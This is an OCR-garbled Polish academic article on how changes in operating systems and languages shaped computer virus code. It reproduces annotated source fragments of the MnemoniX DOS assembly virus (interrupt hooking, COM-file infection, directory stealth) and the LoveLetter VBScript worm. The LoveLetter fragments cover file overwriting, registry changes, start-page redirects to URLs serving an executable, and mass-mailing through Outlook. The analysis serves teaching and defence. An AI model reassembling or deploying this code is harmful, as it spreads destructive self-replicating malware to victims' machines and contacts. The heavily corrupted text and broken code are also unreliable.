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Streszczenie: Wirusy komputerowe majobecnie wplyw na dziatanie wielu systemow, takosg@k wirusy biologiczne na organizm
czlowieka. Ména znalé¢ podobigistwa w dziataniu viruséw komputerowych do biologyer w wielu aspektach ich dziatania. Rozwdj
systeméw operacyjnych, funkcji jakie dostargzapowodowat rownieewolucg viruséw. Zardajg obecnie réne elementy systemug s
przenoszone za pompmnych mechanizméw. Zastosowane mechanizmy wrsaateoperacyjnych jak i rozwéizykéw programowania
spowodowatze pisanie viruséw, czy ugliwych programoéw stalo giprostsze, a stosowanie mechanizméw zabezpieczaystemie jest
obecnie konieczne. W niniejszym artykule autorzipaze dwdéch przyktadowych kodow viruséw przedsiavich ewolucg oraz analizuy
wptyw ewolucji systemow operacyjnych na ich sposuiecii.

Stowa kluczowe: bezpieczéstwo systemOw operacyjnych, koddtowy viruséw, gzyki programowania

Operation systems and programming languages evolath impact on Virus source code

Abstarct: Computer viruses are currently affecting the operabf multiple systems, as well as biological ses on the human body.

There are many similarities in the operation ofialéigical and computer viruses in many aspectshefrtoperation. The development of
operating systems, functions that they provide,a&iss led to the evolution of computer viruses.yTinéect currently various elements of the
system and are moved by other mechanisms. Mectansed in operating systems and the developmerbgfamming languages meant

that writing computer viruses or trojans progranashtbecome easier, and the use of security mechaiisthe system is now necessary. In
this article the authors on the basis of two exawsmf viruses source codes show their evolutionaaradlyze the impact of the evolution of
operating systems on their modes of infection.

Stowa kluczowe: operation system security, viruse source code, iarogning languages

komputerowych do biologicznym moa znalé¢ w wielu

miejscach. Jednym z nich jest na pewno faktskutki ich
1. WSTEP dziatania mog si¢ uaktywnié w niespodziewanym
momencie. Kolejnym czynnikiem upodabnigjm jest
mechanizm mngenia. Zaraony program zava kolejne
pliki wykonywalne. Autorzy pamgtajg czasy, kiedy po
wykryciu virusa trzeba byto sprawdzayskiety liczone w

Wirusy komputerowe majobecnie wpltyw na dziatanie
wielu systeméw, tak samo jak wirusy biologiczne na
organizm czlowieka. Podoliistwa w dziataniu viruséw
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setkach sztuk aby go usin gdyz program antyvirusowy
nie dziatat w systemie réwnolegle do wykonywaneqy:
Rozw0j systeméw operacyjnych, funkcji jakie dostais
spowodowat réwnie ewolucg viruséw. Zaraajg obecnie
rézne elementy systemu 4 rzenoszone za pompmnych

mechanizméw. Zastosowane mechanizmy w systemach

operacyjnych jak i rozwdj ¢gykObw programowania
spowodowat, ze pisanie viruséw, czy ugiliwych
programéw stato giprostsze, a stosowanie mechanizmoéw
zabezpiecze w systemie jest obecnie konieczne. W
niniejszym artykule autorzy na bazie przyktadowyciléw
virusOw  przedstawigj wplyw ewolucji systemow
operacyjnych igzykéw programowania na kodyddtowe
viruséw. Artykut posiada nagtujacy uklad: w sekcji |l
zawarto informacje ogolne o virusach komputerowyeh,
sekcji Il przedstawiono przyktad kodu virusa wzyku
Asembler. W sekcji IV przedstawiono fragment kodwsa
napisane wezyku Visual Basic. Sekcja V zawiera opis
ewolucji systemoéw operacyjnych i ich wpltyw na kod
zrodtowy viruséw. Ostatnim elementem artykubvenioski

Z przeprowadzonych analiz.

2. WIRUS KOMPUTEROWY — INFORMACJE
OGOLNE

Wirus komputerowy [1] — program komputerowy,
posiadajcy zdolng¢ replikacii, tak jak prawdziwy wirus,
stad jego nazwa. Wirus do swojego dziatania potrzebuje
i wykorzystuje  system operacyjny, aplikacje oraz
zachowanie gytkownika komputera.

Wirusy mazna podziekk na wiele kategorii, jedna z nich jest
podziat ze wzgldu na infekowany obiekt. Tak wd
wyrdzniamy wirusy plikowe, dyskowe, skryptowe oraz
wirusy telefonéw komoérkowych. Przyktadem wirusa
skryptowego jest Loveletter opisany w sekcji IV.

Kod wirusa mae by dolgczony do aplikacji, a wt zostaje
on aktywowany wraz z uruchomieniem programu i tym
sposobem infekuje kolejne pliki.

Aktywacja
wirusa

Aplikacja
+wirus

Uzytkownik

Rys. 1 Aktywacja wirusa przezytkownika

Wirusy mog roéwniez zainfekow& boot sectory dysku
twardego, a wic uruchamiane s bezpdrednio po

zatadowaniu systemu operacyjnego. Istnieje zdak
mozliwosc podmienienia plikbw z rejestrami, tak aby
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zainfekowana aplikacja uruchamiata¢ sautomatycznie
zaraz po ‘wstaniu’ systemu.

Aktywacja
wirusa

Zatadowanie
systemu

edycja

rejestrov.

Rys. 2 Aktywacja wirusa po zatadowaniu systemu

3. KOD PISANY W JEZYKU ASEMBLER

Jezyk Asembler byt pierwotnym egykiem pisania
programéw dla procesoréw. Jest ¢ayjk niskiego poziomu,
w ktdrym poleceniom odpowiada zazwyczaj jeden razka
procesora. W zwgzku z tym, ¢zyk ten mae nieznacznie
odbiegé& w zalezncsci od typu procesora i rozkazéw, ktére
dostarcza. Zaletstosowania tegogiyka jest bardzo da
kontrola programisty nad wykonywanym kodem, coyza t
idzie: kod mae by wykonywany bardzo szybko,
a programista me go samodzielnie optymalizowa
Zmienne przechowywanegsw pameci, a programista
decyduje co sapreprezenty. Takie podejcie pozwala na
stosowanie zmiennych o dowolnej wiedko Niestety, ch¢
stosowania tegogzyka powoduje konieczié posiadania
duzej wiedzy. Programowanie z zyciem Asemblera
w przypadku komputeréw osobistych rodziny x86 wymag
znajomdci funkcji BIOS, ktére wywoltuje si w celu
wykonania okrélonych zada. W celu optymalizacji kodu,
czesto w fgzykach programowania wgzych rzdow,
stosuje si whasnie kod pisany wezyku Asembler.

Jednym z viruséw napisanych w Asemblerze dla system
operacyjnego DOS byt MnemoniX. Program dziata
w pamkci i zaraa pliki COM. Program potrafi uktyswop
obecné¢ poprzez zaszyfrowanie kodu losowymi
wartasciami i naprawienie nagtdwkéw programu. Fragment
kodu wraz z opisem znajduje; si/ tabeli.

Tabela 1. Fragment kodu virusa MnemoniX [2]

Kod zrodtowy:

; przerwanie 21, szukaj plikéw, otwdrz, przeczytpjzenié si na
koniec pliku

int_21:
pushf
call
ret

dword ptr cs:[old_int_21]

new_int_21:

cmp  ax,30F4h
test obecn&i w pamgci?

je  test_pass
test zdany

cmp  ax,4B00h
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plik wykonywalny?

jne stealth

jmp  execute ;
tak, zainfekuj

stealth:
cmp ah,11h
katalog ukrycia
je  dir_stealth 1
cmp ah,12h
je  dir_stealth_1

cmp ah,4Eh
wiecej katalogéw ukrycia

je  dir_stealth 2

cmp ah,4Fh

je  dir_stealth_2

int_21_exit:

db  OEAh ;
dane niewzne
old_int 21 dd O

test_pass:

call int_21
pobierz wersj systemu

mov  bx,PONG
daj sygnat poprawrigi

iret

dir_stealth_1:

call int_21 ;
przeszukaj katalog

cmp  al-1 ;
nie ma wecej plikow?

jne  check_file

iret ;
nie ma, pomi
check _file:

push axbxes
sprawd: plik do zainfekowania

mov  ah,2Fh
int  21h

cmp  byte ptres:[bx],-1
sprawd rozszerzone FCB
jne  no_ext_ FCB

add bx,7

no_ext_FCB:
cmp  word ptr es:[bx + 9],'0OC'
jne  fixed ;

to nie jest plik .COM, zostaw

mov  ax,word ptr es:[bx + 17h]

and al,31 ;
sprawd drugi plik
cmp al,26

1Dh],VIRUS_SIZE + HEADER_SIZE
sbb  word ptr es:[bx + 1Fh],0
fixed:
pop es bxax
iret

dir_stealth_2:

call int_21 ;
poszukaj pliku

jnc  check_file_2 ;
jesli znalazte, to wykonaj zadani

retf 2 ;
nie ma, zostaw ten katalog
check_file_2:
push axbxsies
mov  ah,2Fh
poszukaj DTA
int  21h
xor  si,si
sprawd: czy jest to plik .COM
find_ext:
cmp  byte ptr es:[bx + si],".!
je  found_ext
inc si
jmp  find_ext
found_ext:
cmp word ptr es:[bx + si +
1],'0C

jne fixed_2 ;
jesli nie jest to plik .COM to go pomi

mov  ax,word ptr es:[bx + 16h]
and al,31 ;
sprawd. znacznik infekcji
cmp al,26
jne  fixed_ 2
nie znaleziono, pomi

sub word ptr es:[bx +
1Ah],VIRUS_SIZE + HEADER_SIZE

sbb  word ptr es:[bx + 1Ch],0
fixed_2:

pop essibxax
wykonane

clc

retf 2

execute:
push ax bx cx dx dids es
plik wykonany, sprawil

jesli nie jest zainfekowany
mov  ax,3D00h
jesli plik do infekcji to zainfeku;j
call int_21
jnc  read_header
jmp  exec_exit ;

sprawd czy zainfekowany Jak mana zauway¢ w tabeli z fragmentem kodu wirusa,
ine  fixed zastosowane komendy wymagaj dwej wiedzy
programistycznej. Przeszukiwanie katalogu i wyb&kup

sub word ptr es:i[bx +
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wymaga znajoméi funkcji systemowych. Programista
jednak w petni kontroluje wiellg otrzymanego kodu, co
nie jest bez znaczenia w przypadku virusa. Otrzyniard
mozna odpowiednio zmodyfikowa i ukry¢ przed
potencjalnym programem antyvirusowym.

4. KOD PISANY W JEZYKU VISUAL BASIC
W ramach rodzinyegzykéw Visual Basic, firma Microsoft

stworzyta gzyk Visual Basic Scripting Edition (VBS), ktory
jest fzykiem skryptowym. ¢kyk ten jest dom§nym

jezykiem wywanym w ramach Active Server Page.

Oznacza toze virusy napisane w tynegyku mog byc
uruchamiane przez przadhrke Internet Explorer [3].
Jednym z virusbw napisanych wezyku VBS jest
LoveLetter. Program uruchomiony w Internet Explaeer
zmienia rejestry systemu Windows i rozprzestrzesiat
poprzez wystanie emailu dozytkownikéw znajdujcych

sie w ksigzce systemowej. Fragment kodu wirusa zostat

przedstawiony w tabeli 2.
Tabela 2. Fragment kodu virusa LoveLetter [4]

Kod zrodtowy:

On Error Resume Next

dim
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscop
y,dow

Set fso =
CreateObject("Scripting.FileSystemObject")

set file =
fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

zmiana wartéci w rejestrze odnimie ustawié uruchamiania skryptow
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Mic
rosoft\Windows Scripting
Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set ¢ = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")

downread=regget("HKEY_CURRENT_USER\Software\Mic
rosoft\Internet Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if
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if (fileexist(dirsystem&"\WinFAT32.exe")=1)
then

Randomize

num = Int((4 * Rnd) + 1)

losowe zmiany strony startowej przgdgrki

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start

Page","http://www.skyinet.net/~youngls/HIKhjnwe
rhjkxcvytwertnMTFwetrdsfm
hPnjw6587345gvsdf7679njbovY T/WIN-BUGSFIX.exe"
elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjf
IfdjghKJnwetryDGFikjUlygqw
erWe546786324hjk4jnHHGbvbmKLJIKjhkgj4w/WIN-
BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6 TRjkcb
GRpGgaq198vbFV5hfFEkbopBd
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
infekcja plikéw na dysku

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")

end if

Next

listadriv =s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)

set fc = f.Files

for each flin fc
ext=fso.GetExtensionName(fl.path)
ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy

ap.close

or (ext="wsh") or (ext="sct") or (ext="hta")
then

set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy

ap.close
bname=fso.GetBaseName(fl.path)

set cop=fso.GetFile(fl.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
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ap.close

set cop=fso.GetFile(f1.path)
cop.copy(fl.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(fl.path&".vbs")
mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2

end if

rozsytanie virusa poprzez email

sub spreadtoemail()

On Error Resume Next

dim

x,a,ctrlists,ctrentries,malead,b,regedit,regv,r

egad

set regedit=CreateObject("WScript.Shell")

set

wykorzystanie Microsoft Outlook do wysytania emaili
out=WScript.CreateObject("Outlook.Application™)
set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

wczytanie ksjzki adresowej
regv=regedit.RegRead("HKEY_CURRENT_USER\Softwar
e\Microsoft\WAB\"&a) if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv))
then

for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)

regad=""

tworzenie emaila

regad=regedit. RegRead("HKEY_CURRENT_USER\Softwa
re\Microsoft\WAB\"&malead )

set male=out.Createltem(0)
male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached
LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-
FOR-YOU.TXT.vbs") male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&mal
ead,1,"REG_DWORD" end if

X=x+1

next

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a
.AddressEntries.Count else
regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a
.AddressEntries.Count end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim

lines,n,dtal,dta2,dt1,dt2,dt3,dt4,11,dt5,dt6
dtal="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-
?TITLE>SXMETA NAME=@-@Generator@-@ CONTENT=@
@BAROK VBS -

Kod virusa LovelLetter jest o wiele prostszy w aziali co
jest zastug jezyka skryptowego. Dostarczane funkcje VBS
pozwalaj na przeszukiwanie dyskow, katalogéw i plikéw.
Otwieranie i modyfikacja plikow réwniejest stosunkowo
prosta. Nawet dotarcie do skrzynki adresowej i starge
emaili jest tatwe do realizacji. Wadrozwigzania jest
koniecznd¢ interpretacji ¢zyka poprzez srodowisko
uruchamiania skryptow. Zabezpieczenie tegodowiska
uniemaliwi atak na system.

5. EWOLUCJA SYSTEMOW OPERACYJNYCH

W sytuacji obecnej najezciej wywanymi systemamigs
systemy firmy Microsoft. W skiad tych systemoéw wdbkgp
systemy dla stacji klienckich jak i serwerowych.hlc
wspolnym mianownikiem g mozliwosci programowania,
aco za tym idzie tworzenia dedykowanych viruséw.
W starszych wersjach systeméw, jak MS DOS, virusy
najczsciej byly pisane w gzyku Asembler. Celem ich
pracy byto zarzanie plikbw poprzez rezydowanie
w pamkici operacyjnej. Cgsto dodawaly si do sektora
startowego dyskow twardych i w ten spos6b gwaraatpw
swoje uruchomienie. Od systeméw Windows [5]
uruchamianie viruséw staloesprostsze z kilku wzgtéw.
Pierwszym 2z nich jest mbwos¢ pracy réwnolegtej.
Programy mogty si uruchamid w kilku instancjach

i wzajemnie kontrolowé& swoj prac. Wylaczenie jednego
powodowato uruchomienie kilku kolejnych instancjizez
instancje ju pracugce. Drug opcg uruchamianie
programéw byto dodawanie e¢si ich do rejestrow
w miejscach uruchamiania aplikacji np. w kluczach
zawierajcych lise aplikacji do uruchomienia po starcie
systemu. System wdza wkc szkodliwe aplikacje
automatycznie po swoim starcie. Trzeciaziivog opcp jest
uruchamianie s poprzez wykorzystanie ¢zykéw
skryptowych lub powtoki shell systemugzyki skryptowe
uruchamiane w  przeglarkach  byly s$wietnym
rozwigzaniem. Uruchomienie aplikacji nie wymagato jej
instalowania. Pobrana aplikacja uruchamiana
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w przeghdarce pozwalata na praev systemie np. banku.
Jednak mgliwosci, ktére sie przez to otworzyly pozwolity
na powstanie szkodliwych aplikacji, jak np. prensvany
LovelLetter, ktory w prosty sposéb jest w stanie
zmodyfikowa system i dalej girozprzestrzenia Powloka
shell jest réwnig zbiorem funkcji o diaych maliwosciach
ingerencji w system operacyjny. Za jej pomomozna
stworzy¢ w prosty sposéb aplikacje od wdiwych
zmieniapcych ustawienia klawisza CAPS LOCK, do
bardzo skomplikowanych potraéiych zablokowé system.
Rozwdj systeméw operacyjnych przyniost ewi nowe
mozliwosci pracy wytkownika, ale jednoczeie otworzyt

dostp dla programistow oprogramowania szkodliwego jak
virusy.
Kwestie bezpieczstwa systemOw poruszyt tak

Microsoft w swoich systemach Windows. Ewolucja jest
widoczna [6] pocgwszy od wersji XP gdzie wprowadzono
centrum zabezpiecaesystemu Windows oraz ngvzapoe
systemu Windows, poprzez Windowsa ¥jstgdzie
zaimplementowano kontrpkonta uytkownika.

W kwestii bezpieczestwa coraz ogstsza praktyk jest tzw.
wirtualizacja [7]. W uproszczeniu moa powiedzié, ze
jest to uzyskanie logicznych zasob6w przez abstgakc
zasobéw fizycznych. Aby w pelni korzygta mechanizmu
wirtualizacji naley zainstalowa wirtualna maszyg (np.
VirtualBox, VMWare). Takie podégie z pewnécia
pozwala zwkszye bezpieczéstwo systemu i uchrofi
przed rozprzestrzenianiem esi wiruséw.  Dzeki
odseparowaniu przestrzeni dyskowej oraz gami
operacyjnej wirus ma ograniczone pole dziatania.

6. PODSUMOWANIE | WNIOSKI

W niniejszym artykule przedstawiono dwa wybrane
fragmenty kodow viruséw. Kody zostaly stworzone
w jezyku Asemblera i VBS. Ich czyteldd® i stopier
skomplikowania jest znacznieady. Jest to spowodowane
faktem ewolucji systeméw operacyjnych. Nowe funkcje
tychze systemow stworzyty warunki i nowe furtki dla
zlosliwego oprogramowania jakimasvirusy. Stworzenie
zlosliwego oprogramowania jest dzisiaj o wiele fatweejs

a mnogé¢ funkcji dostarcza nowe mitiwosci infekciji
systemu. Dlatego nieodzownym elementem systeméw
operacyjnych jest dzisiaj oprogramowanie antywimgso
ktére musi by nieustanie aktualizowane. Jednaidne
oprogramowanie antywirusowe nie zapewiytliownikowi
ochrony danych zgromadzonych na dysku, gdy ten nie
bedzie przestrzegal podstawowych zasad bezpistze
Wazne jest, aby dane zabezpieczadpowiednim hastem.
Jest to niezmiernie istotnagsz profilaktyki, gdy: mozna
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w ten sposob nie tylko zabezpieézwoje dane na dysku,
ale take unikrg¢ np. wlama na serwer [8]. Jednak nie
catla odpowiedzialnid spoczywa na aytkowniku, gdy
istotmg czg$¢ zabezpiecze powinien wykona programista.
Dlatego te hasta gromadzone w bazie danych powinng by
odpowiednio ‘zaszyfrowane’. Do tego celu ima
wykorzysta istniegce funkcje haszgge (MD5, SHAL),
ktére wygeneryj ciag znakéw (odpowienio 128 i 160
bitéw), ktéry nie jest tak czytelny jak jawne haslab
wykorzysta& inny algorytm zabezpieczgjy. Z pewndcia
pozwoli to unikry¢ takich kompromitacji jak w przypadku
Allegro[9]. Mimo, iz funkcja haszujca jest nieodwracalna,
wazne jest aby iytkownik posiadat odpowiednio
‘bezpieczne’ hasto (min 8 znakéw, znaki specjalmglyz
istnieje wiele stron [10], ktére majzgromadzone hasze
i poréwnup je z juz istniegcymi.

Obecnie virusy mag miec wptyw nie tylko na dziatanie
systemu komputerowego. Wykorzystanie drukarek 3D do
wykonania  fragmentéw  konstrukcji rm®  zosté
zablokowane poprzez dziatanie virusa i modyfikacj
wykonania elementu, co me sk ujawnic np. dopiero po
wykonaniu catego ugzizenia.

LITERATURA

1. http://pl.wikipedia.org/wiki/Wirus_komputerowy,
dostp 2015.01.07
. http://vxheaven.org/src.php, degt2014.12.30
. http://'www.w3schools.com/vbscript/, dept2014.12.31
. http://www.cexx.org/loveletter.htm, dept2014.12.31
. S. McClure, J. Scambray, G. Kurtz, Hackinh Exposed
Network Security Secrets & Solutions, Fifth Edition
McGraw-Hill/Osborne, California 2005
6. http://pl.wikipedia.org/wiki/Historia_system%C3%B3w
_Microsoft_Windows, dogp 2015.01.08
7. http://pl.wikipedia.org/wiki/Wirtualizacja,
2015.01.08
8. http://freeisoft.pl/2012/01/atak-na-strone-premiera
wykradziono-haslo-admina-i-wrzucono-film/,  dgst
2015.01.07
9. http://gadzetomania.pl/17432,allegro-dalo-cialakdras

dogp

uzytkownikow-widoczne-dla-kazdego, dest
2015.01.07

10. https:/lisc.sans.edu/tools/reversehash.html, egdost
2015.01.07



